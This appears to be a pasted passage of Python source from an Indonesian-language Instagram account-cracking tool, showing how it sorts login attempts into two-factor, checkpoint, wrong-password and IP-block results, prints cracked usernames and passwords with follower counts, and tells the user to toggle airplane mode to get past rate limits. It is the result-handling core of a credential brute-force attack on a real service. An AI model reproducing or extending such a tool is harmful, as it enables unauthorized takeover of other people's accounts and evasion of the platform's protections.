- except (UnboundLocalError) as e: pass
- tree = Tree(Panel.fit("[bold red]LOGIN TWO FAKTOR", style = "bold grey50"), style="bold white")
- tree.add(Columns([Panel(f"[bold red]{username}", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", style = "bold grey50", width=30)]))
- tree.add(Columns([Panel(f"[bold red]{follower}.00", style = "bold grey50", width=19), Panel(f"[bold red]{followed}.00", style = "bold grey50", width=21), Panel(f"[bold red]{feedpost}.00", style = "bold grey50", width=19)]))
- tree.add(Panel(f"[bold red]{headers['user-agent']}", style = "bold grey50", width=61))
- printz(tree)
- self.faktor+=1
- elif 'challenge_required' in str(response):
- try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
- except (UnboundLocalError) as e: pass
- tree = Tree(Panel.fit("[bold yellow]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
- tree.add(Columns([Panel(f"[bold yellow]{username}", style = "bold grey50", width=30), Panel(f"[bold yellow]{passwd}", style = "bold grey50", width=30)]))
- tree.add(Columns([Panel(f"[bold yellow]{follower}.00", style = "bold grey50", width=19), Panel(f"[bold yellow]{followed}.00", style = "bold grey50", width=21), Panel(f"[bold yellow]{feedpost}.00", style = "bold grey50", width=19)]))
- tree.add(Panel(f"[bold yellow]{headers['user-agent']}", style = "bold grey50", width=61))
- printz(tree)
- self.chekpoint+=1
- elif 'ip_block' in str(response):
- Console().print(f"[bold grey50] ──>[bold red] HIDUPKAN MODE PESAWAT 5 DETIK!", end='\r')
- time.sleep(3.5)
- elif 'Harap tunggu beberapa menit sebelum mencoba lagi.' in str(response):
- Console().print(f"[bold grey50] ──>[bold red] HIDUPKAN MODE PESAWAT 5 DETIK!", end='\r')
- time.sleep(3.5)
- elif 'Kesalahan' in str(response):
- Console().print(f"[bold grey50] ──>[bold red] HIDUPKAN MODE PESAWAT 5 DETIK!", end='\r')
- time.sleep(3.5)
- elif 'Maaf, terdapat masalah pada permintaan Anda.' in str(response):
- Console().print(f"[bold grey50] ──>[bold red] HIDUPKAN MODE PESAWAT 5 DETIK!", end='\r')
- time.sleep(3.5)
- else:
- try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
- except (UnboundLocalError) as e: pass
- tree = Tree(Panel.fit("[bold blue]KATA SANDI SALAH", style = "bold grey50"), style="bold white")
- tree.add(Columns([Panel(f"[bold blue]{username}", style = "bold grey50", width=30), Panel(f"[bold blue]{passwd}", style = "bold grey50", width=30)]))
- tree.add(Columns([Panel(f"[bold blue]{follower}.00", style = "bold grey50", width=19), Panel(f"[bold blue]{followed}.00", style = "bold grey50", width=21), Panel(f"[bold blue]{feedpost}.00", style = "bold grey50", width=19)]))
- tree.add(Panel(f"[bold blue]{headers['user-agent']}", style = "bold grey50", width=61))
- printz(tree)
- self.sandi_salah+=1
- except (KeyboardInterrupt, requests.exceptions.ConnectionError, requests.exceptions.TooManyRedirects):
- Console().print(f"[bold grey50] ──>[bold red] KONEKSI ERROR!", end='\r')
- time.sleep(31)
- self.looping+=1
Add Comment
Please, Sign In to add comment